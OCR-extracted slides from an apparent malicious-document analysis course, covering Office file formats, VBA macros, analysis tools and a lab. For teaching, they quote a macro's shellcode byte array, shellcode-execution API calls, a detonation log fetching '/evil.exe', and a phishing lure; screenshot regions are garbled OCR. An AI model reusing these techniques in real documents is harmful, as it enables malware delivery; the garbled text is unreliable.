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Motivation

e Phishing attacks
e Common attack surface — no 0-day required
e Suspicious document on your machine? How to verify?
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Course Expectations

Dos
e Reflect real malware trends from Mandiant Incident Response and Intelligence
e Practical approach to document analysis
e Differentiate document file types
e Triage workflow for each file type
e Extract malicious macros

e Deobfuscate macros through static and dynamic techniques
Don't’s

e Avoid unnecessary file format details

e Avoid exploit analysis

Course Outline

e Dynamic Analysis Tools

Office Open XML (OOXML)

Visual Basic for Applications (VBA) Macros

Excel 4.0 Macros (XLM)

Portable Document Format (PDF)

Object Linking and Embedding Structured Storage (OLESS)
Rich Text Format (RTF)

Templates and Remote Template Injection

File Format Zoo E pdf =

.docx Xlsx .pptx
.dotx (template) xltx (template) .potx (template)

.ppsx (slideshow)

Macro-enabled Macro-enabled Macro-enabled
.doc Xls .ppt
.dot (template) Xlt (template) .pot (template)
.docm Xlsm .pptm
.dotm (template) xltm (template) .potm (template)
xIsb (binary) .ppsm (slideshow)



A Note about Microsoft Office
Microsoft Office required for dynamic analysis

e OpenOffice and LibreOffice do not implement complete macro functionality
Installing and using Office in a virtual machine

e Install and take a snapshot

o One-week trial starts when Office is first launched
e Restore snapshot

Some techniques and exploits are version-specific and may not detonate properly



Dynamic Analysis Tools

CyberChef
Free tool from United Kingdom’s Government Communications Headquarters (GCHQ)

[ J

e Encode/decode/transform data

e Available at cyberchef.org

e Offline version installed in FLARE VM
Download CyberChef ¥ Last build: 10 days ago Options Q About / Suppaort 0
Operations Recipe Bl E  input U S I
search.. From Basegd U28gb69u7yBhbmQgdGhhbmt 2167 vc 1BhbGugdGh11GZpe2gu
Favourites w .

Alphabet
A-Za-z0-9+/=

Remove non-alphabet chars D Strict mode

To Hex

From Hex

To Hexdump

From Hexdump
URL Decode
Regular expression
Entropy

Fork

Magic

Data format

time:

t ams
Output length: = a r|:| m

lines:

Encryption / Encoding

Public Key So long and thanks for all the fish.

Arithmetic / Logic




CyberChef Tips
Data type conversion
e From Hex / To Hex — Convert data to/from hex and ASCII

e To Hexdump — Display hex value of data with ASCII interpretation
e From Decimal / To Decimal - Convert data to/from decimal and ASCII

Text manipulation

e Split — Separate data based on delimiter
e Find/Replace — Replace (or remove) repeated data values
e Remove Whitespace — Eliminate new lines, tabs, spaces

Use text manipulation rules to extract payloads from text

Process Monitor

e Use filters and highlights to capture and emphasize relevant behavior
e Filter by operation

o Process Create

o WriteFile

o RegSetValue

o SetDispositionInformationFile

e Filter or highlight based on process name
e Exclude common processes or operations
e Sauve filters for future use

Network Monitoring Tools
FakeNet-NG
e Runs inside the analysis VM or in a separate VM
e Simulates common Internet protocols and services (e.g., DNS, HTTP/S, SMTP)
e Automatic protocol and SSL/TLS detection
e Process tracking and filtering
e Highly configurable interception engine
e Generates a .pcap traffic capture for each run
Wireshark
e De facto standard tool for analyzing .pcap files



Office Open XML (OOXML)

Office Open XML (OOXML)

e ZIP-compressed, XML-based open standard file format replacing OLESS / compound
file

e Default file format since Microsoft Office 2007
Allows easier access to file components and interoperability between applications

o Documents can be modified by unzipping, modifying parts and resources, fixing
up the relationships between parts, and re-zipping

OOXML Terminology

Package
e The document as a ZIP archive containing all component parts
Part
e Any file in the package: XML files, binary files, supporting media files
Relationship
e A format specification that defines the structure of the document
e Specifies the connection of parts in the package using XML reference schemas
e File directory structure can be changed - if relationships are valid
e Relationships are described in XML parts in the package



OOXML Top-Level Directory Structure
_rels
e Contains the .rels root relationships part

Application-specific directory
e Word - word / Excel » x1 / PowerPoint - ppt

[Content_Types].xml
e Listing of content types for all parts contained in the package

docProps
e Contains parts with metadata such as Author, Title, Created Date

Relationship

Relationships are found in .rels XML parts under _rels subdirectories

<Relationship Id="rId1"
Type="http://schemas.microsoft.com/office/2006/relationships/vbaProject
Target="vbaProject.bin"/>

Id: An identifier string used to reference the Target from other parts
Type: Type of relationship
Target: Path to the resource
TargetMode: “External” if the resource exists outside of package
o Can be used to retrieve resources (e.g. document template) from remote
locations via HTTP



Distinguishing Document Types

Look at the ContentType for the main document part in [Content_Types].xml

Main document part

e Word — /word/document.xml
e Excel — /x1/workbook.xml
e PowerPoint — /ppt/presentation.xml

Example for a Word .docm document:

<Override PartName="/word/document.xml"

ContentType="application/vnd.ms-word.document.macroEnabled.main+xml"/>
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Distinguishing Word Documents

docx: "application/vnd.openxmlformats-
officedocument.wordprocessingml.document.main+xml"

dotx: "application/vnd.openxmlformats-
officedocument.wordprocessingml.template.main+xml"

docm: "application/vnd.ms-word.document.macroEnabled.main+xml"

dotm: "application/vnd.ms-word.template.macroEnabledTemplate.main+xml"

Distinguishing Excel Documents

xlsx: "application/vnd.openxmlformats-
officedocument.spreadsheetml.sheet.main+xml"

x1ltx: "application/vnd.openxmlformats-
officedocument.spreadsheetml.template.main+xml"

xlsm: "application/vnd.ms-excel.sheet.macroEnabled.main+xml"
x1ltm: "application/vnd.ms-excel.template.macroEnabled.main+xml"
x1lsb: "application/vnd.ms-excel.sheet.binary.macroEnabled.main"

Distinguishing PowerPoint Documents

pptx: "application/vnd.openxmlformats-
officedocument.presentationml.presentation.main+xml"

potx: "application/vnd.openxmlformats-
officedocument.presentationml.template.main+xml"

pptm: "application/vnd.ms-
powerpoint.presentation.macroEnabled.main+xml"

potm: "application/vnd.ms-powerpoint.template.macroEnabled.main+xml"
ppsx: "application/vnd.openxmlformats-
officedocument.presentationml.slideshow.main+xml"

ppsm: "application/vnd.ms-powerpoint.slideshow.macroEnabled.main+xml"

Visual Basics for Applications (VBA)

Flavors of Visual Basic

e Microsoft family of languages — selected incarnations shown here

11



e Similar to BASIC, low barrier to entry
e Accessible COM integration, OLE/ActiveX controls

Visual Basic (VB) P-Code
Visual Basic (Native) Native Instructions Microprocessor

Visual Basic for Applications (VBA) P-Code VM

Visual Basic, Scripting Edition
(VBScript)

Script code (text) P-code Compiler/VM

(vbscript.dll)

Visual Basic for Applications (VBA)

e Tight integration with Microsoft Office

e Accessible object model for controlling application features

e Macro editor available at the right-hand side of the View ribbon
o Hotkey: Alt+F8

Macros|  Properties

w

7 Miew Macros

|_=|D Record Macro...
@l

VBA Macro Editor

e Integrated Development Environment:
o Automatic formatting
o Code browsing
o Support for developing forms
o Integrated debugger
o Line-oriented error highlighting

12

VM (e.g. MSVBVM60O.DLL)

Self-hosted PE-COFF
Self-hosted PE-COFF

MS Office, e.g.
winword.exe,
excel.exe

Windows Scripting
Host, i.e.
cscript.exeor
wscript.exe



@ Microsoft Visual Basic for Applications - Normal - [NewMacros (Code)]

# File Edit View |Inset Format Debug Run Tools Add-Ins Window Help
WME-d L LA » n a W & FY
Project - Normal il |(Gerlerall "l |Testx
| ! Sub Testx()
85 Normal A Call MsgBox (Application.Path)
. @-(23 Microsoft Word Obje End Sub
¢4 NewMacros Vv
< >
Properties - NewMacros ﬁ]
NewMacros Module v|
Alphabetic  Categorized
(Name) NewMacros
== «
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Detecting Macros

The first thing we're going to focus on is how to identify whether there are any macros present
in your document. In a malicious document analysis scenario, when you're handed a document
that you know nothing about, you should first get an idea of whether the document contains
macros. If you identify that it does, you can then reach for the appropriate tools to extract and
analyze the embedded VBA code.

Detecting Macros: Macro-Enabled File Extensions

L} Macro-enabled > Macro-enabled > Macro-enabled
.doc Xls .ppt

.dot (template) Xt (template) .pot(template)
.docm Xlsm .pptm

.dotm (template) Xltm (template) .potm (template)

Xxlsb(binary) .ppsm (slideshow)
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Detecting Macros: olevba

Despite the name, this tool can operate on both legacy OLESS documents (e.g. .doc, .xIs) and
OOXML documents (e.g. .docm, .xIsm)

BN C\Windows\system32\cmd.exe | = ” =] |@
C:\Users\user\Desktop>olevba howdy.docm -

clevba 0.53.1 - http://decalage.infe/python/oletools
Filename

UBA HMACRO ThisDocument.cls
in file: word/ubaProject.bin - OLE stream: u'UBA/ThisDocument’

Private Sub Document_Open()

UBA MACRO NewMacros.bas
in file: word/vbaProject.bin - OLE stream: u'UBA/NewMacros®

Set sh = CreateObject("Shell.Application™)
sh.ShellExecute ("https://www.mandiant.com/")

e it +
| Description

e itk +
| Runs when the Word or Publisher

| document is opened

| May run an executable file or a system

| command
I
I
I
I
I
I
I
+

AutoExec Document_Open

Suspicious | Shell

Suspicious | ShellExecute May run an executable file or a system
command

May run an application (if combined
with CreateObject)

HMay create an OLE object

Suspicious | Shell.Application

Suspicious | CreateObject

https://wwu.mandiant

+
I

+
I
I
I
I
I
I
I
I
I
I
I

+

:\Usersyuser\Desktop> -

15



Detecting Macros: Clues from Detonation

3 fn.log - Notepad
File Edit Format View Help

E=H ol =)

07/29/22
07/29/22
07/29/22
07/29/22
07/29/22
07/29/22
07/29/22
07/29/22
07/29/22
07/29/22

04:
04:
04:
04:
04:
04:
04:
04:
04:
04:

4| 111 |

53:
53:
53:
53:
53:
53:
53:
53:
53:
53:

33
33
33
33
33
33
33
33
33
33

-
=
(o L Ve T T T Vs T T T

HTTPListener80]

Diverter]
HTTPListener&0]
HTTPListeners0]
HTTPListener80]
HTTPListener80]
HTTPListener&0]
HTTPListeners§o]
HTTPListener80]
HTTPListener80]

WINWORD.EXE (2776) requested TCP 192.0.2.123:443

GET /evil.exe HTTP/1.1

Accept: */*

Accept-Language: en-uUs
Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; |\

Host: www.mandiant.com
Connection: Keep-Alive

m

-

E}-‘ Process Monitor - Sysinternals: www.sysinternals.com
File Edit Event Filter Tools Options Help

EEABE 7 AS E| AN EDLL DM

E=H R =)

Time o.. Process Name
4:53:33.... [[w|WINWORD.EXE
4:53:33.... ([w|WINWORD.EXE
4:53:33.... [[w|WINWORD.EXE
4:53:33.... [[w|WINWORD.EXE
4:53:33.... [[w|WINWORD.EXE
4:53:33.... [[w|WINWORD.EXE
4:53:33.... [[w|WINWORD.EXE
4:53:33.... [w|WINWORD.EXE
53:33.... [[w|WINWORD.EXE

. [W WINWORD.EXE
. [ WiNwWORD EXE
. [ WINWORD EXE

PID Operation Path

2776 [gh SetAllocationln...
2776 [k WriteFile

2776 [2h SetAllocationln...
2776 [gh WriteFile

2776 b QueryAtiribute...

2776 [gh SetDispositionl...
2776 [gh QueryAtiribute...

2776 b SetDispositionl...
2776 [2h SetAllocationln..

2776 [gh WriteFile

2776 [2h WriteFile

2776 [k WriteFile
[ TP _

(1L}

s

Ci\Users\usenAppData\LocalLlowiMicrosoft\ CryptnetUriCache\Content\77ECE63BDA74BD0D0EN426D CEFE0085(
C\Users\usenAppData\LocalLow\Microsoft\CryptnetUrICache\MetaData\ 77ECE3BDA74BD0OD0EN426 DCBFB00.
Ci\Users\usenAppData\LocalLowiMicrosof\ CryptnetUriCache\MetaData\77EC63BDA74BD0D0EN426DCEFE00.
Ci\Users\usenAppData\Local\Temp\Cab4056.tmp
Ci\Users\usenAppData\Local\Temp\Cab4056.tmp
Ci\Users\usenAppData\Local\Temp\Cab4056.tmp
Ci\Users\usenAppData\Local\Temp\Tar4057 tmp
Ci\Users\usenAppData\Local\Temp\Tar4057 tmp

m

m
ES
o

Showing 438 of 171,708 events (0.25%)

Backed by virtual memory
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Detecting Macros: OOXML Analysis
[Content_Types].xml

e Defines bin extension for vbaProject
e Declares main part to be macro-enabled

% [Content_Types]xml (M:\pptipptm_demomacro) (2 of 2) - GVIM1 — m] X
File Edit Tools Syntax Buffers Window Help

QERE| 9 @ BBERESIAITEHS?

{7?xml version="1.8" encoding-"UTF-8" standalone="yes"?> ~
<Types xmlns="http://schemas.openxnlformats. org/package/20886/content-types>

<Default Extension="bin" ContentType="application/vnd.ms-office.vbaProject"/>

<Default Extension="jpeg" ContentTyp mage/jpeg” s>

<Default Extensiomn 1s" ContentTyp pplication/vnd.openzmlformats-package.relationships+xml®/>

<Default Extension="xml" ContentType="application/xml"/>

ride v /ppt/presentation.xml” ContentType="application/und.ms—powerpoint_presentation.macroEnabled.main+xml™/>
de /ppt/slideMasters/slideMasterd.xnl” ContentType="application/vnd.openxnlformats-officedocument.presentatio slideMaster+xml"”/>
de /ppt/slides/slidet.xml"” ContentType="application/und.openxmlformats-officedocument.presentationml.slide+xnl"/>
de /ppt/presProps.xml™ ContentType="application/und.openxmlformats-officedocument.presentationnl . presProps+xnl™/>
{Override PartHame="/ppt/viewProps.xml” ContentType="application/vnd.openzmlfornats-officedocument.presentationnl.viewProps+xnl"/>
ppim_demomacrol[Content_Types].xml 1,1 Top v

ppt\vbaProject.bin present

R ER = ppt

File Home Share View

> v 4 R « ppt. ppt

& This PC R

# 300b R _rels

BN Desktc slideLayouts

B Docur

o

slideMasters

slides
Downl

theme

Music
B Pictun

Videos
i OSDisl
< DATAL
-« OSDisl

presentation.xml
presProps.xml
tableStyles.xml
vbaProject.bin

viewProps.xml

&> Dept (
10items | 1item selected 7.00KB |
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Basics of Visual Basic

Now we're going to cover some basics about the VBA language itself. The goal of this section
is not to become an expert in VBA or even to become a competent VBA developer — it's to
understand enough about the language to comprehend malicious VBA embedded in
documents.

Subroutines and Functions
Statements for defining functions and subroutines:

e Sub SomeSub() .. End Sub
o Subroutine — no return value
e Function SomeFunc() .. End Function
o Returns a value
e Transferring control to subs and functions:
o Call — not strictly necessary
e Both Sub and Function may accept parameters

[ 1 | 1
(General) v| [ Testx v
Example: | | -
p Sub Testx () 7‘
Call MsgBox (Application.Path)
End Sub
Microsoft Word X

Result:

C:\Program Files (x86)\Microsoft Office\root\Office16

18



Function Return Values
Functions return values by assigning the value to the name of the function.

w | | TestCallee

Example: | &=

Sub Testx()
Call MsgBox (TestCallee())

End Sub

Function TestCallee ()
TestCallee = "Art Vandelay"™

End Function

Re'SUIt: Microsoft Word X

Art Vandelay

19



Call Keyword Optional

Without a Call keyword and with or Without a Call keyword and with or without
without parentheses parentheses

|{Genera|] "l [TentCallee - ||‘,Ge||eral] vl ‘Test{:allee v|
Sub Testx () = Sub Testx() T‘
TestCallee Dim something As String
End Sub something = "Art Vandelay™
TestCallee something
Sub TescCallee() End Sub
Dim something As String
something = "Art Vandelay" Sub TestCallee (x)
Call MsgBox (someching) Call MsgBox(x)
End Sub End Sub

\ _—

Microsoft Word X

Art Vandelay

I o | 2027 Mandiant

20



Variables and Types
Declaring variables
e Dim varname

e Dim varname as Sometype
e Dim varl, var2, var3

Example types (not exhaustive):

e Numeric: Integer, Double, Boolean
e Sequence: Byte, String

e Special: Date, Currency

e Base: Variant — can be anything

Exampleq |[Eeneral} vl [Tﬂ'ﬁtl

Sub Testx()
Dim something As String
something = Application.UserName
Call MsgBox (=omething)

End Sub

Microsoft Word X

Result:

Art Vandelay

21



Conditionals
e If.Then
o ElseIf..Then
o Else
e EndIf

ﬁ Microsoft Visual Basic - 1770ee2c5ba%938e43c5cdeeebdalbb921e77fb3%e9bebfchbf.. | — | [=] [é]

d% File Edit View Insert Format Debug Run Tools Add-Ins Window Help - 8 X
‘W EEd % @RS o0 on ks T e i
Project - Project x| I{General} LI IGetReg‘JalueEncodedName Ll
Nl _ :I
i -
...... 2 ApplUtils - If cha = "\" Then
[ [T . rv = rv & "/"
ElseIf cha = ":" Then
Properties - AppUtils il rv =rv & "M
|Appl_ltils Module ;I Else
AIphabeticl(:ategorized' rv = rv & URLEncode (cha) —
End If
AppUtils
=j= <] | _'*IJ

22



Conditional Compilation
Only the code between true conditions is evaluated.
#If cond Then

e HElseIf
e HElse

#EndIf

Constants:
e Winl6, Win32, Win64
e V\bab, Vba7
e Mac

ﬁ Microsoft Visual Basic - 1770ee2c5ba938e43c5cdeeebdal b6921e77tb39%e%bebfchbf. | = || = ||mism

mmImg = WorkBookReportéd . getWorkerInfol()
#Else

Properties - Runlmp X ep = WorkBookReport32.gCurEP
|Run1mp Module ﬂ mmImg = WorkBookReport32.getWorkerInfo ()
#End If

Alphabetic l Categorized l

Runimp Const runCache As Long = 1024

=4 |

% File Edit View Insert Format Debug Run Tools Add-Ins Window Help - 8 X
e~ | £ 3 & & 9 ¢ Pou oo N F Y @ ;
Project - Project x| ||:General} ﬂ |MainUEagE ﬂ
B =4 g | | #If Win64 Then =
E e ep = WorkBookReportéd.gCurEP

23




Loops

For .. Next

For Each .. Next
While .. Wend

Do .. While

Do .. Until

«6 File Edit View Insert Format Debug Run Tools Add-Ins Window Help

< E::j >

Properties - underHouse X|

|underHouse Module v |
Alphabetic | Categorized |

m underHouseCoffeele ‘

1Powers8 (1Temp) = 1lTemp * cl2Exp8
l1Powersl6 (1Temp) = 1lTemp * cl2Explé
Next 1lTemp

iPad = Len(sString) Mod 3

=l= «| |

ReDim bIn(0 To Len(sString) * 2 - 1 + iPad)

4

ST TG
M8 vd % 52 BN 9> 0w u§y‘s§ i i () ié
ProjeCt'Proj?Ct X |(General) v | |Encode64 |
Y- - 3
I D | A
i For 1Temp = 0 To 255 =

v

24




Line Continuations and Statement Delimiters

/ Line continuation: Underscore(_)

£ Microsoft Visual Basic - 1770ee2c5ba938ed3cScdeeetdalb6921e771b:
* Eile Edit View [nsert Format Debug Run Tools Add-Ins Wi

WEE 4 D AR Y ey on oalk Y e s
Project - Project x| [(General) | |{Deflarations] |
B =3 7] Private Function URLEncode ( i ZI
| (3 Microsoft Word Stringval As String, _
. . Optional SpaceAsPlus As Boolean = False
Properties - AppUtils ﬂ ) As String -
|App|.ltis Module ;l =1
Alphabetic ICategorizedl Dim StringLen As Long: StringLen = Len(StringVal)
AppUtils v
I == < | \ o)

Statement delimiter: Colon(:)

Strings
Assignment: Example: | (enem v] [oeer al
*varname = "value" W e :

x = "stringl"
x = x & "scring2"

MsgBox (x)
Concatenation: End Sub
*str = "stringl™ & "string2”
Result: Microsoft Word X
string1string2

25



Arrays and Representing Hexadecimal Numbers
Arrays

e Declared with parens
e Can initialize with Array()
e Values comma-separated

Hexadecimal
e Prepend with &H

Commonly used together for:

e Shellcode
e Embedded executables

%Eile Edit View Insert Format Debug Run Tools Add-Ins Window Help

£ Microsoft Visual Basic - 1770ee2c5ba938e43cScdeeebdalb6921e77fb39e9bebicb6ibld5b29b7ecab0 [design] - [CodeRunner (Cod... | = || &) [[wtdw]

ype a guestion for help > - 8 %
EVH Ea @ 4 »JJJ%&:&O'.:.;/ @ =
Project - Project ﬁ |[Genera|} ﬂ |[Declarations} ﬂ
g2 44 ¥ Option Explicit -
------ i AlterImpl
------ w2 AppUtils #If Winé4 Then
...... WY CodeRunnell=
""" #% EmitvaluesT Public Function getRunnerCode (ByVal instBase As LongPtr, ByVal entPoint As Lon
------ w EmitvaluesT )
B P A% ChdianClin . .
«[m b Dim rawData() As Variant
: rawData = Array(
Properties - CodeRunne X| 5H48, &HBY, &HAC, &H24, &HB, &H55, &H4B, &HE1, &HEC, &HBO0, &HO, &HO, _
|CodeRunn|a| Madule j &HO, &H48, &H8D, &H6C, &H24, &H20, &H48, &HBS8, &HB88, &H77, &HGG, &H55, _
Alphabetic | Categorized §H44, §H33, §H22, &H11, §H48, &HB9, &H4S5, &HO, sH48, &HBS, &H44, §HDD, _
’W &H33, &HCC, &H2Z2, &HBB, &H11, &sHRR, &H48, &HBS, &H45, &HB, &H48, &HEB, _
&H45, &HO, &H48, &H89, &H45, &H10, &H48, &HB8B, &H45, &HS, &H48, &HEB, _
&H4D, &HO, &H48, &H3, &HCS8, &H48, &HBB, &HCI1, &H48, &H89, &H45, &H18, _
sH4C, &HEB, &H45, &H70, &HBR, &H1, &HO, &HO, &HO, &H48, &HB8B, &H4D, _
&H10, &HFF, &H55, &H18, &HBS, &H1, &HO, &HO, &HO, &H48, &HSD, &HGE5, _
§HE60, &H5D, &HC3 _
)
' hinstValue = 0x1122334455667788; -
== | f

Writing Files

Environ() function

26




e Expands environment variables
e JTEMP% is expanded in this example [

Open and Put keywords for writing files.

Example:

I(General) v | |Howdy v

temp = Environ ("TEMP")
filepath = temp & "\" & "never.html"”

Open filepath For Binary Access Write As #1
Put #1, , buf
Close #1

27



Native Windows API Calls
Native calls achieved by combination of:

e Declare keyword — import Windows API
e (Calling the function by its declared alias

This transitions execution from VBA to native Windows APIs

Used for:

e Accessing functionality that is unavailable in pure VBA
e Running shellcode

- HEER

28



Example: Calling CreateProcessA

© File Edit View Insert Format Debug

# Microsoft Visual Basic - 1770ee2c5bad38e43cScdeee6dalb6921e77fb39e9bebfcb6fbld5b29b7ecIb0 [design]

Run Tools Add-Ins Window Help

‘W R % D @AY > u oa S F W % @] Ln6ocoll E
Project - Project x|
o =35 &1770ee2c5b3938e43c5c4eee6da1b6921e77fb39e9bebfcb6fb1d5b29b7ec9b0-newDataReporter (Code) o | @ \ Dl
AR I(Genetal) ﬂ I(Declarations) v
eg -

2 Alterimpl Public Declare PtrSafe E‘unctionlnew?roclLib "kernel32" Alias "CreateProcessA" ( _ z]

| AlterImpl Module ~
Alphabetic I Categorized |
AlterImpl

2 Apputils E ByVal lpApplicationName As LongPtrj _
2 CodeRunner ByVal lpCommandLine As String, § I
EmitValuesT
S i - 4 1770ee2c5ba938e43c5cAecebdalb6921e77ib39edbebichbfbld5b29b7ecIbl - Alterimpl (Code) o o=
- (General) v | |RunCpylnst v
Properties - Alterimpl x| ! - I B3| =
Dim pProcInfo As PROCESS_INFORMATION z]

With pProcInfo
.dwProcessId = 0
.dwThreadld = 0
.hProcess = 0
.hThread = 0

End With

Dim rv As Long
rv =|newDataReporter.newProc](O, appPath, 0, 0, 0, 0, 0, szCurDir, pStartupInfo, pProcInfo)

|

Examples of Native API

Allocating

* HeapAlloc

* VirtualAlloc

* VirtualAllocEx

Gets a pointer to a known
location in mem

+

Calls for Shellcode Execution

Copying Executing

* memcpy * CreateThread

* Rt1CopyMemory * CallWindowProcA/W

* LdapUTF8ToUnicode * EnumWindows (callback)
Copies shellcode from VBA Sets program counter to first
structures to native memory instruction

HEEE -55 88[ec].

29



VBA Macro Environment

Okay, now we're going to shift our attention from the syntactic details of VBA to its integration
and interaction with the Office application environment.

Microsoft Office Object Model and Integration
Word, Excel, and other apps present a hierarchy of object-oriented interfaces for VBA

Generally rooted in the Application object

Some objects/instances are made globally accessible in VBA
Word object model shown at right

MSDN provides reference material

Registered as COM objects as well

e Example ProgIDs: Word.Application, Excel.Application
e Accessible to all COM clients (e.g. PowerShell or VBScript)

Application
Document
Bookmarks
Range
Range
Bookmarks
Selection
Bookmarks
Range
Document
Range
Bookmarks
Range
Bookmarks
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Microsoft Office Object Model and Integregation

AutaSave "f) O - Documentl - Word P Search Michael Bailey | = ]

15 Share i Comments

File Home Insert Design Layout References Mailings Review View

Calibri (Body) - = o) o

T B I U~ AaBbCcDc Cop g [
Ié . ‘ . ; T Normal - Editing  Dictate Re?use
- . Aa~ & - » Files

Paste

Clipboard M Paragraph Voice Sensitivity ~Reuse Files

Navigation
ument

Headings Pages Results
The MS Word object model is accessible to any COM client.|

Create an interactive outline of your
document.

It's a great way to keep track of where you are
or quickly move your content around.

To get started, go to the Home tab and apply
Heading styles to the headings in your
document.

1
Page1of1 11words [[} English [United States) [ Display Settings [, Focus B

New-Object wWord.Application
rue
) Documents . Add ()
election. TypeText(
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Office Security
Phishing Tactics

~ irs_scanned_ 551712.doc [Read-Only] [Compatibility Mode] - Word | - =] X
Insert Design Layout References Mailings Review View Sign in gSharc
Y, _ - =i =L T=3= A P Find ~
[ [TmesNewRo-|12 -/ A" A" Aa~ | fo iZ-i=-%z- &3 2l | 48sccl AaBbC |AaBbCel| AaBbCcl AaBbCCD . Replace
Pa's!e ¢ B I U-ax, x* . aly | A E=E== Ig - C\ v i Emphasis  Heading1 | T Normal Strong Subtitle L\; Select ~
Flipboard Font i Paragraph ] Styles 1) Editing
1 SECURITY WARNING Macros have been disabled. Enable Content
This document was created with an older
version of Microsoft Office
This document is only availible for desktop and laptop versions of
Microsoft Office Word.
Click “Enable editing” button from the yellow bar above
Once you have enabled editing, please click "Enable content”
button from the yellow bar above
ma H 9 O )+ 1770ee2c5ba938e43c5c4eeebdalb6921e77fb39e9bebfcb6fbld5b29b7ec9b0.docm - Microsoft Word - -] x
) Home Insert Pagelayout  References  Mailings  Review | View | @
il = Ruler Document Map J) one Page =
':JMLFUI%WN f Outﬂe \;lt it e Z:fm l;l%; (i s New Arrange Split B - Switch Ma-zzs
Layout | Reading Layout V' Message Bar =) Page Width || \yindiow A”g " 414 Reset Window Position ' windows +
Document Views Show/Hide Zoom Window Macros
@ Security Warning Macros have been disabled. | Options.. *

d o X
b NANTNASIIUVLEL
LOSTUADUNTVDS
Microsoft Office Word

o X X a o ]
MNABINIQLaIN L bsanan "t UM by
v Q 6) v g
ANNOVALNADIAINAN | LI AbFIN WD

Pageiof1l | Wordso | 5
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Analysis

Extracting Macros with olevba
Outputs code to console

May want to redirect to a file, e.g.:
e olevba docfile > vba.txt

Useful flags:

Option | Meaning______

-a, --analysis Analysisresults only

-Cc, --code Code only
--decode Decode strings
--deobf Deobfuscate VBA code

If using - -decode, can dump decoded strings without accompanying source code dump by
also specifying --analysis

Example:
olevba --analysis -decode docfile
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Entry Point Analysis
Commonly used:

e Document_Open()
e Auto Open()
e Workbook Open()

olevba analysis will flag these as AutoExec

0

BN C\Windows\system32\cmd.exe

Document_Open

Suspicious | Application.Uisible
Suspicious | Chr

Suspicious
Suspicious RegCloseke

RegOpenKeyExA

Runs when the lWlord or Publisher
document is opened

May hide the application

May attempt to obfuscate specific
strings (use option --deobf to
deobfuscate)

May read or write registry keys
May read or write registry keys
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Entry Point Analysis

Word

Auto Macros

* AutoOpen

* AutoClose

« AutoNew (global template / add-in)

— Each time you create a new document

 AutoExec (global template / add-in)

— When you start Word or load a global template
* AutoExit (global template / add-in)
— When you exit Word or unload a global template
Event Handlers
* Document_Open
* Document_Close

35

Auto Macros
* Auto_Open
* Auto_Close

Event Handlers
* Workbook_Open

Excel



Open Event Handler
Most common: Document.Open event
Handled by defining corresponding sub

e Document_Open (ThisDocument)
e Workbook Open (ThisWorkbook)

OOXML documents enable this in vbaData.xml

e Example: word\vbaData.xml

{?xml version="1.0" encoding="UTF-8" standalone:="yes"?>
{wnhe:vbaSuppData xmlns:wpc="http://schemas.microsoft.com/office/wo
{wne:docEvents>

</wne:docEvents>

{Wwne:mcds>

{Wwhe:mcd wne:macroName:="PROJECT.RUNIMP.HMAINPROC" wne:name="Project
{wne:mcd wne:macroName="PROJECT.RUNIMP.HMAINUSAGE" wne:name="Projec
{Whe:mcd wne:macroName:="PROJECT.WOODOK .GOMOREEXP” wne:name="Projec
{/Whe:mcds>

</wne:uvbaluppData>
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Disabling Event Handlers in OOXML Documents
Copy word\vbaData.xml
Remove e.g. wne:eventDocOpen (for the Document.Open event)

Replace original word\vbaData.xml

<{?xml version="1.0" encoding="UTF-8" standalone="yes"
<{wne:ubaSuppData xmlns:wpc="http://schemas.microsoft.
<{wne:docEvents>

<{?xml version:="1.0" encoding="UTF-8" standalone:="yes"
<wne:vbaSuppData xmlns:wpc="http://schemas.microsoft.
<{wne:docEvents>

<{wne:eventDocOpen/>
<{/wne:docEvents>
<{/uwne:vbaSuppData>

{/wne:docEvents>
<{/wne:ubaSuppData>

Can disable on-load functionality this way to modify and execute macros at will

e Sitill need to use a safe environment in case of mistakes

Disabling Event Handlers — Alternate Method
In a safe environment (e.g. a VM) where Office is configured not to allow macro content
Open the document (do not enable macros yet)

In the View ribbon, click Macros > View Macros

=
ES5 )
Macros

1
2
3. In the “Macros in:” drop-down, select the active document
4. In the Project tree:

a. Expand Microsoft Word Objects

2 View Macros

b. Double click ThisDocument (all one word) .
Recor acro...

5. Delete or rename the subroutine

6. Save, reopen, enable macros, and edit/run as desired

Disabling Event Handlers — Alternate Method
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.42 NewMacros

Properties - ThisDocument

&[0 References

|ThisDo-cument Docurment

(Mame)

E3
Alphabetic | Categorized I

ThisDocument
AutoFormatOverr False

aMicmsoft Visual Basic - Document_open [design] - [ThisDocument (Code)] | |ml=l &]
m File Edit View Insert Format Debug Run Tools Add-Ins Window Help - &2 X
W E-"] 2 BRA9 ey o0 oo YEY @ E
Project - Project x| IDocument LI IGpen
=2 4 = Private Sub Document Open()
&% Normal | Call MsgBox ("Hi!™)
Esﬁ Project (Document_open) End Sub
&3 Microsoft Word Objects
- ] ThisDocument
-3 Modules
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Disabling Event Handlers — Alternate Method
ﬁ Microsoft Visual Basic - Document_open [design] - [ThisDocument (Code)] = |[l=] [é]
‘#8 File Edit View Insert Format Debug Run Tools Add-Ins Window Help -8 x
" WE~-E| L D EAa Y ey o oall R Y @ 6
Project - Project x| |(General) v | |DISABLED_Document Open v |
4 4 = Private Sub DISABLED Document Open() i
%% Normal | Call MsgBox ("Hai") ol
Eﬁ. Project (Document_open) End Sub
=3 Microsoft Word Objects
- -] ThisDocument
- E3 Modules
st NewMacros
-1 References
Properties - ThisDocument il
|111'E.'Document Document LI
Alphabetic | Categorized | I
ThisDncument hd
AutoFormatOverr False i ‘l | ’
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Lab — soundblaster

Malicious Document Lab — soundblaster F LAR E

1. What type of file is this? How do you know?

2.  What is the document extension type? How do you know?

3. Are there any macros? How do you know? If any macros are present,
what do they do?
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Malicious Document Lab — soundblaster F LAR E

1. What type of file is this? How do you know?

The first two bytes of the file are 58 4B ("PK") which indicates it is a

ZIP archive. The file's unzipped contents contain a word directory,

which indicates the file is an O0OXML Word document.

2. What is the document extension type? How do you know?
The ContentType for Word document part /word/document.xml is
application/vnd.ms-word.document.macroEnabled.main+xml,
which indicates that the document is a macro-enabled document (. docm).
3.

Are there any macros? How do you know? If any macros are present,
what do they do?

Yes, the document contains a vbaProject.bin part with ContentType

application/vnd.ms-office.vbaProject, indicating the presence

of VBA macros. The VBA macros use the SAPI API| to vocalize "FLARE RULES"
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Detailed Analysis

Common String Obfuscation
Recall concatenation:

e str = "stringl" & "string2"
Combine this with the Chr () function:

e Returns a character by its character code

I(General) vl lndf
Sub asdf()
MsgBox (Chr(83) & Chr(10l1l) & Chr(99) & Chr(l1l4) & _

